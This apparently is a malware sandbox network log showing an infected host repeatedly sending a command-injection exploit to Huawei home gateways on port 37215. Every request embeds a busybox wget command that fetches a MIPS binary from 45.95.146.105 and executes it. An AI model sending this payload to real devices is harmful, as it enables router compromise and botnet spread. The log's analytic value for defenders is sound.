Jan 1, 2024 12:55:01.532706022 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:03.804651976 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:08.156543970 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:16.860584974 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.13	35978	156.230.24.231	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:59.966640949 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:01.628585100 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:03.612526894 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:07.644516945 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:15.580570936 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.13	53418	156.254.105.154	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:55:03.600018024 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 